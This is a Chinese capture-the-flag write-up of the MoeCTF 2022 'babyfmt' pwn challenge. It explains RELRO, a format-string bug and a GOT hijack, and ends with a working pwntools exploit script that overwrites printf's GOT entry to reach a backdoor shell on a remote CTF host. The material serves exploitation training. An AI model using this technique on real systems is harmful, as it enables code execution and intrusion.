【pwn】[MoeCTF 2022]babyfmt --格式化字符串漏洞,got表劫持

发布时间 2023-10-28 15:40:27作者: GGBomb

拿到程序,先checksec一下

发现是Partial RELRO,got表可修改

当RELRO保护为NO RELRO的时候,init.array、fini.array、got.plt均可读可写;为PARTIAL RELRO的时候,ini.array、fini.array可读不可写,got.plt可读可写;为FULL RELRO时,init.array、fini.array、got.plt均可读不可写。

然后看主函数

主函数这边逻辑还是比较简单的,while循环前面的代码可以不用理,直接看while循环里面的代码,read函数明显存在栈溢出漏洞,并且下一个printf存在格式化字符串漏洞,同时看左边函数列表,给出了backdoor函数,点进去,看一下

int backdoor()
{
  return system("/bin/sh");
}

可见,backdoor函数可以getshell

现在这道题思路可以是修改printf函数的got表里面的内容,修改成backdoor函数地址,然后while循环下一次执行printf函数时,程序就会去执行backdoor函数,实现getshell

这道题可以利用pwntools的fmtstr_payload函数,第一个参数为数据距离格式化字符串的偏移,第二个参数为字典{pirntf_got:addr},攻击载荷pwntools已经为我们填好,可以直接使用

exp:

from pwn import *
context(os='linux',arch='i386',log_level='debug')
io=remote("node5.anna.nssctf.cn",28247)
elf=ELF("./pwn")
printf_got=elf.got['printf']
shell=elf.symbols["backdoor"]
payload=fmtstr_payload(11,{printf_got:shell})
io.sendline(payload)
io.interactive()